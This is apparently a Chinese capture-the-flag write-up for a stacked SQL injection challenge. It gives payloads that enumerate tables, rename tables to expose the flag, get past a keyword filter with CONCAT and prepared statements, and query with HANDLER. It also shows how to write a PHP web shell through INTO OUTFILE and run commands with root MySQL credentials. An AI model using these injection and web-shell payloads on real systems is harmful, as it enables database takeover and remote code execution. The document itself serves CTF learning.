随便注

万能钥匙返回全部数据证明存在注入点,尝试联合查询后发现存在WAF:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

查表名

1';show tables; #

爆 words 列名:

1'; show columns from `words`;#

爆 1919810931114514 列名:

1'; show columns from `1919810931114514` ;#

这两处用了`符号。

显示我们在words表中查找,但是真正的flag在1919810931114514中。

下面拿flag有很多种姿势。

1.官方姿势

1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(100);#

整理完这样子的:

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);
#

将words表重命名为words1,1919810931114514重命名为words,把表的flag属性修改为id属性,使得在查找id的时候可以查找到flag,然后就可以访问了。

2.预处理语句绕过关键词过滤

本题可以利用 char() 方法将 ASCII 码转换为 SELECT 字符串,接着利用 concat() 方法进行拼接获得查询的SQL语句,最后执行即可,payload如下:

1';
SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");
PREPARE sqla from @sql;
EXECUTE sqla;
#

或者不用char()方法,直接将字符串相加也可以绕过限制:

-1';
SET @sql = CONCAT('se','lect * from `1919810931114514`;');
PREPARE sqla from @sql;
EXECUTE sqla;
#

3.RCE

报错注入后可以看见用户为root,直接上马拿权限。

先上马:

1';
Set @sql=concat("s","elect '<?php @print_r(`$_GET[oatmeal]`);?>' into outfile '/var/www/html/1",char(46),"php'");
PREPARE sqla from @sql;
EXECUTE sqla;
#

RCE:

/1.php?oatmeal=mysql -uroot -proot -e"use supersqli;select flag from \`1919810931114514\`;"

读flag。

4.handler

handler代替select进行查询。

1'; 
handler `1919810931114514` open as oatmeal; 
handler oatmeal read first; 
handler oatmeal close;#

Last updated